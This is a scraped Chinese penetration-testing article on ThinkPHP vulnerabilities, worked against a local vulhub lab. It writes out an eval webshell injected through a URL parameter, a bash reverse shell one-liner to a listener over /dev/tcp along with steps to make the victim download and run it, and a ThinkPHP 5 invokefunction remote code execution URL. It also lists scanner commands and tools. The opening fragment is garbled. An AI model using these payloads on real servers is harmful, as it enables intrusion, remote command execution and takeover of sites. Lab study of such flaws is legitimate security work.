ThinkPHP漏洞合集（专注渗透视角）_thinkphp v6

%7B@phpinfo()%7D]( )%7D)

传后门

1. 上传后门

http://192.168.229.140:8080/index.php?s=a/b/c/${@print(eval($\_POST[1]))}

2. 简单测试一下，两种方式都行

3. 连接webshell

反弹shell

方式1：攻击者编写反弹shell的命令：bash -i >& /dev/tcp/192.168.229.1/9999 0>&1
然后开启一个web服务，让受害者下载并执行，获取shell

方式2：直接通过后门执行反弹shell的命令

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理：**ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中，由于框架错误地处理了控制器名称，因此如果网站未启用强制路由（默认设置），则该框架可以执行任何方法，从而导致RCE漏洞。
环境搭建：

cd vulhub-master/thinkphp/5-rce
docker-compose up -d
docker ps

漏洞发现

TideFinger✅

项目介绍：https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址：关注“Tide安全团队”公众号，回复指纹即可

./TideFinger_Linux -u http://192.168.229.140:8080/ -pd

afrog✅

项目地址：https://github.com/zan8in/afrog

nuclei✅

nuclei -tags thinkphp -u http://192.168.229.140:8080/

xray✅

thinkphp_scan✅

项目地址：https://github.com/anx0ing/thinkphp_scan

ThinkphpRCE✅

项目地址：https://github.com/sukabuliet/ThinkphpRCE

蓝鲸✅

项目地址：https://github.com/bewhale/thinkphp_gui_tools

莲花✅

项目地址：https://github.com/Lotus6/ThinkphpGUI

尝试命令执行，未得到结果

Thinkphp全网GUI圈子社区专版✅

漏洞验证 & 利用

直接访问如下地址，即可执行phpinfo：
http://192.168.229.140:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1